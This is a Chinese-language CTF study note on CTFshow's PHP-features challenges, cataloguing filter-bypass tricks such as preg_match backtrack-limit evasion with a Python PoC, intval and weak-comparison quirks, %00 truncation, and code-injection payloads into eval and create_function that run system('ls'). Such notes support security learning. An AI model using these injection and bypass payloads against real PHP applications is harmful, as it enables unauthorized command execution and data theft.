PHP特性

前言

抽空把CTFshow上的PHP特性入门做了下,有些看了师傅们的WP,感觉还是有很多自己以前没接触过的小trick,再此记录一下,后期会不断整理收集新的关于PHP语言的特性~

学会自己本地搭建环境去测试,很多问题就是测试出来从而得到解决的。

preg_match特性

正则表达式绕过的一些方式

数组绕过

if(preg_match("/[0-9]/", $num) -num[]=1 绕过,会返回FALSE

%0a

利用%0a 换行符,来绕过非多行模式下(m代表多行模式),^ 和 $ 限定的匹配,譬如:

if(preg_match('/^php$/i', $a)) a=%0aphp 可以绕过匹配

%5c

1
2
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
echo 'check';

这个地方传参?act=%5c就可以绕过限制,用%5c开头。

参考文章: https://paper.seebug.org/755/

回溯绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。

example:

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;
}

对用的poc:

1
2
3
4
5
6
7
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow' //这个可以绕过preg_match,返回为FALSE
}
r=requests.post(url,data=data)
print(r.text)

intval函数特性

官方描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(PHP 4, PHP 5, PHP 7)
intval ( mixed $var [, int $base = 10 ] ) : int
examples:
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
echo intval(false); // 0
echo intval(true); // 1
?>
Note:
The base parameter has no effect unless the var parameter is a string.
当这个var参数是字符串类型时,base=0 ,则传过来以0开头,八进制处理,以0x开头
16进制处理

要了解一个函数,就去看它的官方文档

根据这个函数的一些特性,可以衍生出很多绕过方式:

1
2
3
4
5
6
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格

逻辑问题

and 和 && 的区别:

1
2
$v1=1 and 0 and 0 //echo $v1 ,此时v1的值为1
$v1=1 && 0 && 1 //echo $v1,此时v1的值为0

&& 和 ||

1
2
3
4
5
if(false && false || true) 
{
echo 123;
}
最后的结果是123

PHP的弱比较

官方文档

114.png

1
2
3
4
5
in_array()函数 延用了 == :
$allow=array(1,2,3)
var_dump('1.php',$allow) // 会返回true
$allow2=array('1','2','3')
var_dump('1.php',$allow2) //会返回False

反射类

ReflectionClass 类

ReflectionClass 类报告了一个类的有关信息。

examples:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class ctfer{
public static $flag="flag{you_are_ctfer}";
const PI=3.14;
static function ctf(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');

var_dump($a->getConstants()); //获取一组常量输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName());//获取类名输出
string(5) "ctfer"

var_dump($a->getStaticProperties()); //获取获取静态属性
array(1) {
["flag"]=>
string(19) "flag{you_are_ctfer}"
}

var_dump($a->getMethods()); //获取类中的方法输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(3) "ctf"
["class"]=>
string(5) "ctfer"
}
}

php截断

这个百度查了一下,说在5.3.4之后弃用了,但是发现在5.6貌似还可以用,我们可以利用%00 来截断字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)
{
die('error');

}

if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
第一个正则得保证变量c都是字母
第二个满足变量c反转后值为0x36d
payload: a%00778

全局变量

有时候可以利用全局变量来打印出所有的变量

var_dump($GLOBALS);

trim函数

1
2
3
4
5
6
trim
(PHP 4, PHP 5, PHP 7)
trim — Strip whitespace (or other characters) from the beginning and end of a string
Description
trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] ) : string
可以看到没有过滤掉\f,可以利用这个来绕过

一个例子:

1
2
$num=$_GET['num'];
if(trim($num)!=='36' ) //这个可以用%0c36过的

is_numeric函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
is_number(12); // true
is_number(-12); // true
is_number(-12.2); // true
is_number("12"); // true
is_number("-124.3"); // true
is_number(0.8); // true
is_number("0.8"); // true
is_number(0); // true
is_number("0"); // true
is_number(NULL); // false
is_number(true); // false
is_number(false); // false
is_number("324jdas32"); // false
is_number("123-"); // false
is_number(1e7); // true
is_number("1e7"); // true
is_number(0x155); // true
is_number("0x155"); // false

PS: is_numeric(‘0x16’) 对 php5版本有效,对php7无效,会返回false

传参处理

1
2
3
4
<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}

这里只有传CTF[SHOW.COM参数,值才可以被正常接收到 ps: [ 的编码为 %5B

1
2
3
4
<?php
if(isset($_POST['CTF_SHOW'])){
echo 123;
}

这里传CTF SHOW (用空格代替_)

绕过return

1
$code =  eval("return $v1$v3$v2;");

以这个为例子,参数v1,v2,v3均可控,这里假设不对其进行任何过滤,我们很容易想到的就是 传 v1=1;v3=system(‘ls’);v2=1

带入就是eval(return 1;system(‘ls’);1) 函数执行 return 1 时,已经返回,后面的语句就无法执行的 。怎么绕过?这里可以利用运算来绕过

PHP中有个特点,1-phpinfo() 是可以执行 phpinfo的,所以这里可以传 v1=1 v2=1 v3=-phpinfo() 然后带入语句为:eval(1-phpinfo()-1;)可以成功执行。

衍生出的其他方式:(这里的命令是任意的)

1
2
3
4
return 1+phpinfo()+1;
return 1*phpinfo()*1;
return 1?phpinfo():1;
return 1==phpinfo()||1;

create_function()注入

函数介绍:

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

This function has been DEPRECATED as of PHP 7.2.0. Relying on this function is highly discouraged.

create_function ( string $args , string $code ) : string

样例:

1
2
3
4
5
6
7
8
9
10
11
create_function('$a','echo $a')
等效于 function f($a)
{
echo $a;
}
而当code参数可控的时候:
create_function('','echo 123;}system("ls");//')
等效为 function f()
{
echo 123;}system("ls");//}
就成功造成了命令注入

其他

包括一些函数的介绍

gettext 扩展

如果开启了gettext扩展,那么 _() 等效于 gettext()

call_user_func('_','phpinfo') 此时这个 等效于 gettext('phpinfo') 就可以得到phpinfo

get_defined_vars

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

可以利用这个函数来得到当前很多的变量值。

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — Call the callback given by the first parameter

Description

call_user_func ( callable $callback [, mixed $... ] ) : mixed

第一个参数为回调的函数,第二个参数为传入的参数。

Calls the callback given by the first parameter and passes the remaining parameters as arguments.

样例:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
输出:
You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

也可以利用这个函数来传数组:

1
2
3
4
5
6
7
8
9
class ctfshow
{

static function getFlag()
{
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

传入 ctfshow[0]=ctfshow&ctfshow[1]=getFlag